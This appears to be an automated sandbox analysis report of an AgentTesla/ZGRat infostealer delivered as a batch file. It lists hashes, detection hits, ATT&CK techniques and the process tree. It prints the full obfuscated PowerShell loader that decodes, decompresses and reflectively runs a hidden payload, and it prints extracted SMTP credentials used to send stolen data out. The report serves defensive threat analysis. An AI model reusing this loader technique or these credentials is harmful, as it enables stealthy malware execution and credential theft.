agenttesla | c8b23374cfaebcceb230474be736c7d7c012c073a9c253bcf3dec1a26c920079

Analysis

max time kernel
125s
max time network
131s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
15-05-2024 10:56

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General

Target

Xlrfx.bat
Size

2.5MB
MD5

044b5f7f1996339fb95ab61afe9ce63b
SHA1

9b1ad4a81ae03ebb25d252eb12473dfe667af900
SHA256

c8b23374cfaebcceb230474be736c7d7c012c073a9c253bcf3dec1a26c920079
SHA512

77faaa93f02be4925d7238b63bc3651525f4438f70231173944aa71c1dc3429cbc9905cdaaf7eec454bd08f7e12b81424cf6db4021615e52a79635078817d948
SSDEEP

49152:Bio8vLA4esjKTI2VerQB+Mctxbqrhl8ManSazNv:o

Score

10^/10

agenttesla zgrat evasion keylogger persistence rat spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.qvise.com
Port:
587
Username:
[email protected]
Password:
Qvise@45450#
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect ZGRat V1 34 IoCs

Processes:

resource	yara_rule
behavioral2/memory/508-30-0x000000000B0F0000-0x000000000B320000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-35-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-37-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-59-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-71-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-77-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-83-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-91-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-95-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-89-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-87-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-81-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-79-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-93-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-85-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-75-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-73-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-69-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-67-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-63-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-61-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-65-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-57-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-55-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-47-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-45-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-53-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-51-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-49-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-43-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-39-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-33-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-41-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1
behavioral2/memory/508-32-0x000000000B0F0000-0x000000000B31B000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

448 attrib.exe
Executes dropped EXE 1 IoCs

Processes:

Xlrfx.bat.Nsg

pid process

508 Xlrfx.bat.Nsg
Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
448	attrib.exe

pid	process
508	Xlrfx.bat.Nsg

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

RegAsm.exeXlrfx.bat.Nsg

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NcnBt = "C:\\Users\\Admin\\AppData\\Roaming\\NcnBt\\NcnBt.exe"	RegAsm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Wdufmvf = "C:\\Users\\Admin\\AppData\\Roaming\\Wdufmvf.bat"	Xlrfx.bat.Nsg

Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

38 api.ipify.org
39 ip-api.com
37 api.ipify.org
Suspicious use of SetThreadContext 1 IoCs

Processes:

Xlrfx.bat.Nsg

description pid process target process

PID 508 set thread context of 5636 508 Xlrfx.bat.Nsg RegAsm.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

Xlrfx.bat.NsgRegAsm.exe

pid process

508 Xlrfx.bat.Nsg
508 Xlrfx.bat.Nsg
5636 RegAsm.exe
5636 RegAsm.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

Xlrfx.bat.NsgRegAsm.exe

description pid process

Token: SeDebugPrivilege 508 Xlrfx.bat.Nsg
Token: SeDebugPrivilege 508 Xlrfx.bat.Nsg
Token: SeDebugPrivilege 5636 RegAsm.exe

flow	ioc
38	api.ipify.org
39	ip-api.com
37	api.ipify.org

description	pid	process	target process
PID 508 set thread context of 5636	508	Xlrfx.bat.Nsg	RegAsm.exe

pid	process
508	Xlrfx.bat.Nsg
508	Xlrfx.bat.Nsg
5636	RegAsm.exe
5636	RegAsm.exe

description	pid	process
Token: SeDebugPrivilege	508	Xlrfx.bat.Nsg
Token: SeDebugPrivilege	508	Xlrfx.bat.Nsg
Token: SeDebugPrivilege	5636	RegAsm.exe

Suspicious use of WriteProcessMemory 17 IoCs

Processes:

cmd.exeXlrfx.bat.Nsg

description	pid	process	target process
PID 384 wrote to memory of 4168	384	cmd.exe	cmd.exe
PID 384 wrote to memory of 4168	384	cmd.exe	cmd.exe
PID 384 wrote to memory of 2936	384	cmd.exe	xcopy.exe
PID 384 wrote to memory of 2936	384	cmd.exe	xcopy.exe
PID 384 wrote to memory of 448	384	cmd.exe	attrib.exe
PID 384 wrote to memory of 448	384	cmd.exe	attrib.exe
PID 384 wrote to memory of 508	384	cmd.exe	Xlrfx.bat.Nsg
PID 384 wrote to memory of 508	384	cmd.exe	Xlrfx.bat.Nsg
PID 384 wrote to memory of 508	384	cmd.exe	Xlrfx.bat.Nsg
PID 508 wrote to memory of 5636	508	Xlrfx.bat.Nsg	RegAsm.exe
PID 508 wrote to memory of 5636	508	Xlrfx.bat.Nsg	RegAsm.exe
PID 508 wrote to memory of 5636	508	Xlrfx.bat.Nsg	RegAsm.exe
PID 508 wrote to memory of 5636	508	Xlrfx.bat.Nsg	RegAsm.exe
PID 508 wrote to memory of 5636	508	Xlrfx.bat.Nsg	RegAsm.exe
PID 508 wrote to memory of 5636	508	Xlrfx.bat.Nsg	RegAsm.exe
PID 508 wrote to memory of 5636	508	Xlrfx.bat.Nsg	RegAsm.exe
PID 508 wrote to memory of 5636	508	Xlrfx.bat.Nsg	RegAsm.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

448 attrib.exe

pid	process
448	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:384

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo F "
2⤵
PID:4168

C:\Windows\system32\xcopy.exe
xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat.Nsg
2⤵
PID:2936

C:\Windows\system32\attrib.exe
attrib +s +h C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat.Nsg
2⤵
- Sets file to hidden
- Views/modifies file attributes
PID:448

C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat.Nsg
C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat.Nsg -WindowStyle hidden -command "$Eshusr = Get-Content 'C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat' | select-object -Last 1; $Yhyoxigy = [System.Convert]::FromBase64String($Eshusr);$Uneafks = New-Object System.IO.MemoryStream( , $Yhyoxigy );$Iaohomn = New-Object System.IO.MemoryStream;$Bydqksifw = New-Object System.IO.Compression.GzipStream $Uneafks, ([IO.Compression.CompressionMode]::Decompress);$Bydqksifw.CopyTo( $Iaohomn );$Bydqksifw.Close();$Uneafks.Close();[byte[]] $Yhyoxigy = $Iaohomn.ToArray();[Array]::Reverse($Yhyoxigy); $Pbdppxx = [System.Threading.Thread]::GetDomain().Load($Yhyoxigy); $Izgbjcqwat = $Pbdppxx.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:508

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5636

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3416,i,13879737908471496610,15335851594401413307,262144 --variations-seed-version --mojo-platform-channel-handle=4320 /prefetch:8
1⤵
PID:3896

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Xlrfx.bat.Nsg
Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ky1qgdwt.lca.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/508-5-0x000000007521E000-0x000000007521F000-memory.dmp

Filesize
4KB

Download
memory/508-6-0x0000000005210000-0x0000000005246000-memory.dmp

Filesize
216KB

Download
memory/508-8-0x00000000059A0000-0x0000000005FC8000-memory.dmp

Filesize
6.2MB

Download
memory/508-7-0x0000000075210000-0x00000000759C0000-memory.dmp

Filesize
7.7MB

Download
memory/508-9-0x0000000005850000-0x0000000005872000-memory.dmp

Filesize
136KB

Download
memory/508-10-0x0000000006040000-0x00000000060A6000-memory.dmp

Filesize
408KB

Download
memory/508-11-0x00000000060B0000-0x0000000006116000-memory.dmp

Filesize
408KB

Download
memory/508-21-0x0000000006320000-0x0000000006674000-memory.dmp

Filesize
3.3MB

Download
memory/508-22-0x00000000067C0000-0x00000000067DE000-memory.dmp

Filesize
120KB

Download
memory/508-23-0x0000000006810000-0x000000000685C000-memory.dmp

Filesize
304KB

Download
memory/508-24-0x00000000077A0000-0x0000000007836000-memory.dmp

Filesize
600KB

Download
memory/508-25-0x0000000006CC0000-0x0000000006CDA000-memory.dmp

Filesize
104KB

Download
memory/508-26-0x0000000006D50000-0x0000000006D72000-memory.dmp

Filesize
136KB

Download
memory/508-27-0x0000000007E40000-0x00000000083E4000-memory.dmp

Filesize
5.6MB

Download
memory/508-28-0x0000000008A70000-0x00000000090EA000-memory.dmp

Filesize
6.5MB

Download
memory/508-29-0x00000000083F0000-0x000000000886C000-memory.dmp

Filesize
4.5MB

Download
memory/508-30-0x000000000B0F0000-0x000000000B320000-memory.dmp

Filesize
2.2MB

Download
memory/508-31-0x0000000007DA0000-0x0000000007E32000-memory.dmp

Filesize
584KB

Download
memory/508-35-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-37-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-59-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-71-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-77-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-83-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-91-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-95-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-89-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-87-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-81-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-79-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-93-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-85-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-75-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-73-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-69-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-67-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-63-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-61-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-65-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-57-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-55-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-47-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-45-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-53-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-51-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-49-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-43-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-39-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-33-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-41-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-32-0x000000000B0F0000-0x000000000B31B000-memory.dmp

Filesize
2.2MB

Download
memory/508-4913-0x0000000075210000-0x00000000759C0000-memory.dmp

Filesize
7.7MB

Download
memory/508-4915-0x0000000008930000-0x000000000897C000-memory.dmp

Filesize
304KB

Download
memory/508-4914-0x0000000008870000-0x00000000088DC000-memory.dmp

Filesize
432KB

Download
memory/508-4916-0x000000007521E000-0x000000007521F000-memory.dmp

Filesize
4KB

Download
memory/508-4917-0x0000000075210000-0x00000000759C0000-memory.dmp

Filesize
7.7MB

Download
memory/508-4918-0x0000000075210000-0x00000000759C0000-memory.dmp

Filesize
7.7MB

Download
memory/508-4919-0x0000000075210000-0x00000000759C0000-memory.dmp

Filesize
7.7MB

Download
memory/508-4920-0x00000000054B0000-0x0000000005504000-memory.dmp

Filesize
336KB

Download
memory/508-4928-0x0000000075210000-0x00000000759C0000-memory.dmp

Filesize
7.7MB

Download
memory/5636-4926-0x0000000075210000-0x00000000759C0000-memory.dmp

Filesize
7.7MB

Download
memory/5636-4925-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/5636-4927-0x0000000075210000-0x00000000759C0000-memory.dmp

Filesize
7.7MB

Download
memory/5636-4930-0x0000000006730000-0x0000000006780000-memory.dmp

Filesize
320KB

Download
memory/5636-4931-0x00000000067B0000-0x00000000067BA000-memory.dmp

Filesize
40KB

Download
memory/5636-4932-0x0000000075210000-0x00000000759C0000-memory.dmp

Filesize
7.7MB

Download